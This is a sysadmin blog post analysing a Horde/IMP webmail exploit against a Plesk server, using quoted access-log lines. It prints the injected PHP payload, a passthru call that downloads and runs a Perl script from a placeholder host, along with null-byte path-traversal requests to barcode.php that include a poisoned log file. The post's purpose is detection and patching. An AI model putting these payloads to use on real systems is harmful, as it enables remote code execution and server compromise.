Plesk Exploit: Readable Logfile Vulnerability

A vulnerability scan has been performed on one of our servers at the beginning of the month. This last about 4 days. It was looking for a vulnerable versions of the Plesk control panel to exploit the Horde/IMP Plesk Webmail Exploit. Let’s have a look at how this looks like in a few log files:

First the attacker is checking which version of Horde is installed:

access_log:xx.xxx.xx.xxx - - [01/Jun/2013:15:05:42 +0200] "GET /horde/services/help/?show=about HTTP/1.1" 200 3326 "-" "HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.11"

If it finds a suitable version of Horde, it will go to the next steps:

access_log:xx.xxx.xx.xxx - - [01/Jun/2013:15:38:39 +0200] "POST /horde/imp/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"

Here, the attacker sends a POST request to /horde/imp/redirect.php including some PHP code as the username. It usually uses the passthru PHP function which executes an external programm. The PHP code usually looks like this:

passthru('cd /tmp;wget http://xxx/yyy.txt;perl yyy.txt;rm -f yyy.txt');

It basically always does the the same:

  1. Go to the tmp directory
  2. Download a PERL script
  3. Execute the script
  4. Delete the script

There are a few variations:

  • The commands are executed using passthru, system, shell_exec or exec
  • The script is downloaded using wget, curl, fetch, GET, lwp-download or lynx
  • The downloaded file is a file with the .txt extension or has an image file extension and is renamed before being executed
  • Sometimes, the attacker also messes with the history so that you do not see what exactly happened

There are even scripts used which will use many of the combinations above just in case some of them do not work on this particular system.

This PHP code is written to the horde log file. It is then executed by using a vulnerability of barcode.php (or rather a vulnerability in Image.php which is called by barcode.php). This looks like this:

access_log:xx.xxx.xx.xxx - - [04/Jun/2013:15:38:41 +0200] " /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde.log%00 HTTP/1.1" 200 - "1" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"

It will most probably also try different log file locations e.g.:

access_log:xx.xxx.xx.xxx - - [04/Jun/2013:15:38:40 +0200] " /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde/psa-horde.log%00 HTTP/1.1" 200 - "1" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"

In many cases, the perl scripts will just install some additional PERL scripts used for DDOS attacks in your /var/www/vhost/xxx/cgi-bin directories. You can find such scripts using:

find /var/www/vhosts/[a-z]*/cgi-bin/*.pl

In order to protect your system, you should always install all Plesk security updates. This vulnerability is very old but seems to be still worth exploiting. There is also a fix for Image.php which can be downloaded here.

Note that the PERL scripts stored in your vhost folders are often well commented and you will find such comments in there:

#part of the Gootkit ddos system

Nice, isn’t it ? 😉

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